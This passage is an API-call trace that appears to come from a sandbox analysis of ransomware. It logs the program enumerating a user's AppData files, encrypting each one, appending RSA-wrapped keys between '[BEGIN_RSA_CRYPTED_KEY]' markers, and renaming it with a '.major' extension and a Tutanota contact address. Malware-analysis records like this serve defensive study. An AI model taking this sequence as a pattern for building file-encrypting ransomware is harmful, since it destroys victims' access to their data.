hFindFile=0x2f37ee8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c362eb, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x3c362eb, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xb7fe6fe6, ftLastWriteTime.dwHighDateTime=0x1d336d8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="imprbeacons.dat", cAlternateFileName="IMPRBE~1.DAT")) returned 1 [0303.608] SetLastError (dwErrCode=0x0) [0303.608] GetLastError () returned 0x0 [0303.608] SetLastError (dwErrCode=0x0) [0303.608] SetLastError (dwErrCode=0x0) [0303.608] FindNextFileW (in: hFindFile=0x2f37ee8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5148c8c4, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x5148c8c4, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x5148c8c4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0303.608] SetLastError (dwErrCode=0x0) [0303.608] GetLastError () returned 0x0 [0303.609] SetLastError (dwErrCode=0x0) [0303.609] SetLastError (dwErrCode=0x0) [0303.609] FindNextFileW (in: hFindFile=0x2f37ee8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5148c8c4, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x5148c8c4, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x5148c8c4, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0303.609] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0303.609] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280815\\imprbeacons.dat", dwFileAttributes=0x80) returned 1 [0303.609] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280815\\imprbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280815\\imprbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c04 [0303.610] GetFileSizeEx (in: hFile=0x1c04, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0303.610] ReadFile (in: hFile=0x1c04, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0303.610] SetFilePointer (in: hFile=0x1c04, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0303.610] WriteFile (in: hFile=0x1c04, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0303.610] SetFilePointer (in: hFile=0x1c04, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0303.610] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0303.610] WriteFile (in: hFile=0x1c04, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0303.611] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0303.611] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0303.611] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0303.611] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x661bf8, pcchString=0x2e3f9a8 | out: pszString="PDmNDNnFUSXnzgr0R50ytfP2guGhlRUz2NtBOZJjGccPhCyM5LSjz6eTtCF71zQ3\nLHib4FaCqICscbpizLraPhXh+AKHNbecsSK5XK7XtRoBIKiTXCd1IT9nGLEFULXZ\ncdZQLoXjtbIeGVJtKrXyLjVlFOPQXF+3whFpXhDVQJfVBswtFNfybomROY6C8T4r\nPpGq3iyI5qr/IB6A7SQRl7c520W24KmmndYfwUmV4h8C3EpfeWXqQ5EcSe30Z5fZ\nkoCcLKGgpbcufh6JyeoOsrOjedmWXwdkdCG9k7nUUyQGa4PmAKOh3lfxSREalr4f\n624aRF382sABqen+zAw7tw==\n", pcchString=0x2e3f9a8) returned 1 [0303.611] WriteFile (in: hFile=0x1c04, lpBuffer=0x661bf8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x661bf8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0303.612] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0303.612] WriteFile (in: hFile=0x1c04, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0303.612] CloseHandle (hObject=0x1c04) returned 1 [0303.612] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280815\\imprbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280815\\imprbeacons.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280815\\imprbeacons.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280815\\imprbeacons.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0303.614] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0303.614] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280815\\eventbeacons.dat", dwFileAttributes=0x80) returned 1 [0303.615] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280815\\eventbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280815\\eventbeacons.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c04 [0303.615] GetFileSizeEx (in: hFile=0x1c04, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0303.616] ReadFile (in: hFile=0x1c04, lpBuffer=0x59d4b0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0303.616] SetFilePointer (in: hFile=0x1c04, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0303.616] WriteFile (in: hFile=0x1c04, lpBuffer=0x59d430*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0303.616] SetFilePointer (in: hFile=0x1c04, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0303.616] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0303.616] WriteFile (in: hFile=0x1c04, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0303.617] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0303.617] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0303.617] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0303.617] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x662188, pcchString=0x2e3f9a8 | out: pszString="EgKbJ6xfRSgMvcac6De1YYGHrp7IrfuCjTIp0bqa3omaeD7K6vOZ5gekE2h6yBsc\n+IHvWkIjK0bqg1uIDgzuuQKwReQdqSwJCMU39RUnrjJQBc+17DbXK+UuiobH/alq\nXhS49eLkU93cloenn924fnGF+3tuSzfGVthbC8rpwa7m2B5mz76v3G6E7kyxAdt4\n60z0lf/ewPrq28VvhiYVxPwAIHuD6r2aFuwISUxc2Chz13SgIgLAavIqGubcESm+\nfPB0imkG9c7SZbqXt/ppg4+IRVxDXX1W78yJAp5W7nJYYfRqeHbvUO9DmAs0bDyu\njHuJAhi4DWp5VJHqnsOBbg==\n", pcchString=0x2e3f9a8) returned 1 [0303.617] WriteFile (in: hFile=0x1c04, lpBuffer=0x662188*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x662188*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0303.617] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0303.617] WriteFile (in: hFile=0x1c04, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0303.618] CloseHandle (hObject=0x1c04) returned 1 [0303.618] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280815\\eventbeacons.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280815\\eventbeacons.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280815\\eventbeacons.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280815\\eventbeacons.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0303.620] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0303.621] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280815\\1506438227", dwFileAttributes=0x80) returned 1 [0303.622] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280815\\1506438227" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280815\\1506438227"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c04 [0303.623] GetFileSizeEx (in: hFile=0x1c04, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=23482) returned 1 [0303.623] ReadFile (in: hFile=0x1c04, lpBuffer=0x343b820, nNumberOfBytesToRead=0x5bba, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343b820*, lpNumberOfBytesRead=0x2e3f9b4*=0x5bba, lpOverlapped=0x0) returned 1 [0303.625] SetFilePointer (in: hFile=0x1c04, lDistanceToMove=-23482, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0303.625] WriteFile (in: hFile=0x1c04, lpBuffer=0x3540048*, nNumberOfBytesToWrite=0x5bba, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3540048*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5bba, lpOverlapped=0x0) returned 1 [0303.625] SetFilePointer (in: hFile=0x1c04, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5bba [0303.625] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0303.625] WriteFile (in: hFile=0x1c04, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0303.625] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0303.625] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0303.626] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0303.626] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x662ca8, pcchString=0x2e3f9a8 | out: pszString="Ds5r6a8Doo5Mipdpr4hQYArTqywiBcYS8pbQy2mC+vlot1e+3I89niL3MheepyFz\n4Ne3XWzdrV8yZ9tJuZwrfJvqBX7DOrfPbzx2MZLWVpOG7OAJHE3mgCLVTLBms7a0\nmHwPeGpcFRcsZidkJoZKZA56vVn8OOflSrjFy4eYgq1Ofo058joN6o5TzMnNWui2\nLtWFes+3UZ9wVt1Dvnnc63YZ0t8GvC9vt8vtbzuT9tAeFJYJNFOQQse1Vgl64D65\nORs0T7+SRGFRLt9nvwnw2hg0AOXK0JXSQQXigGtSx5ET6JB+U31ndsGlBYtgo1n0\nmvnMgGbswn0itdi+wKS1HQ==\n", pcchString=0x2e3f9a8) returned 1 [0303.626] WriteFile (in: hFile=0x1c04, lpBuffer=0x662ca8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x662ca8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0303.626] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0303.626] WriteFile (in: hFile=0x1c04, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0303.626] CloseHandle (hObject=0x1c04) returned 1 [0303.626] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280815\\1506438227" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280815\\1506438227"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280815\\1506438227.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280815\\1506438227.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0303.629] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0303.629] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280815\\1504779872", dwFileAttributes=0x80) returned 1 [0303.631] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280815\\1504779872" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280815\\1504779872"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c04 [0303.632] GetFileSizeEx (in: hFile=0x1c04, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=23532) returned 1 [0303.632] ReadFile (in: hFile=0x1c04, lpBuffer=0x343b820, nNumberOfBytesToRead=0x5bec, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x343b820*, lpNumberOfBytesRead=0x2e3f9b4*=0x5bec, lpOverlapped=0x0) returned 1 [0303.801] SetFilePointer (in: hFile=0x1c04, lDistanceToMove=-23532, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0303.801] WriteFile (in: hFile=0x1c04, lpBuffer=0x3540048*, nNumberOfBytesToWrite=0x5bec, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x3540048*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5bec, lpOverlapped=0x0) returned 1 [0303.801] SetFilePointer (in: hFile=0x1c04, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5bec [0303.801] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0303.801] WriteFile (in: hFile=0x1c04, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0303.801] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0303.802] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0303.802] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0303.802] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x662188, pcchString=0x2e3f9a8 | out: pszString="iLyEMuA89VkbGqqKNY/qxcXTCUr8/aqnD7INexVxR8D/wmtC9RvQrCKobmB6djZr\n0R7xHC/2TlB+xt80EfdA5gk563YJ5aTeYIZ6cGljti/bpTILPQg0FWiG9FMFLz3W\n7D7AV9Qy/nR9jfPreuXBII6OJuPKrby77OTBU4+ONENUgWN1kiWfBwWGVkhHaKBY\neYtPHcZ5g3i8HfplI/jorledkX/SdJpW8a3DpSaXd9A7l92uCF7xL31PuBtyHb3S\nZSIYhIV3YezTT5/AZzx4k/GRqKFsApgbaWKQOPG1No9i41Qjux32bHMENFea+m//\n98LmuoPhiN9ak3a603TgMQ==\n", pcchString=0x2e3f9a8) returned 1 [0303.802] WriteFile (in: hFile=0x1c04, lpBuffer=0x662188*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x662188*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0303.802] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0303.802] WriteFile (in: hFile=0x1c04, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0303.802] CloseHandle (hObject=0x1c04) returned 1 [0303.802] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280815\\1504779872" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280815\\1504779872"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280815\\1504779872.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\localstate\\contentmanagementsdk\\creatives\\280815\\1504779872.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0303.804] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\LocalState\\ContentManagementSDK\\Creatives\\280819\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x464fb0dc, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xaa1a6676, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0x515e3d56, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f37da8 [0303.804] SetLastError (dwErrCode=0x0) [0303.804] GetLastError () returned 0x0 [0303.804] SetLastError (dwErrCode=0x0) [0303.804] GetLastError () returned 0x0 [0303.805] SetLastError (dwErrCode=0x0) [0303.805] FindNextFileW (in: hFindFile=0x2f37da8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x464fb0dc, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xaa1a6676, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0x515e3d56, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0303.805] SetLastError (dwErrCode=0x0) [0303.805] GetLastError () returned 0x0 [0303.805] SetLastError (dwErrCode=0x0) [0303.805] GetLastError () returned 0x0 [0303.805] SetLastError (dwErrCode=0x0) [0303.805] FindNextFileW (in: hFindFile=0x2f37da8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1cda2619, ftCreationTime.dwHighDateTime=0x1d327c0, ftLastAccessTime.dwLowDateTime=0x1cda2619, ftLastAccessTime.dwHighDateTime=0x1d327c0, ftLastWriteTime.dwLowDateTime=0x1cdeead5, ftLastWriteTime.dwHighDateTime=0x1d327c0, nFileSizeHigh=0x0, nFileSizeLow=0x909e, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="1504778419", cAlternateFileName="150477~2")) returned 1 [0303.805] SetLastError (dwErrCode=0x0) [0303.805] GetLastError () returned 0x0 [0303.805] SetLastError (dwErrCode=0x0) [0303.805] SetLastError (dwErrCode=0x0) [0303.805] FindNextFileW (in: hFindFile=0x2f37da8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9373faf, ftCreationTime.dwHighDateTime=0x1d336c5, ftLastAccessTime.dwLowDateTime=0xa9373faf, ftLastAccessTime.dwHighDateTime=0x1d336c5, ftLastWriteTime.dwLowDateTime=0xa940ca9b, ftLastWriteTime.dwHighDateTime=0x1d336c5, nFileSizeHigh=0x0, nFileSizeLow=0x19d78, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="1506430069", cAlternateFileName="150643~1")) returned 1 [0303.805] SetLastError (dwErrCode=0x0) [0303.805] GetLastError () returned 0x0 [0303.805] SetLastError (dwErrCode=0x0) [0303.805] SetLastError (dwErrCode=0x0) [0303.805] FindNextFileW (in: hFindFile=0x2f37da8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x475d1af1, 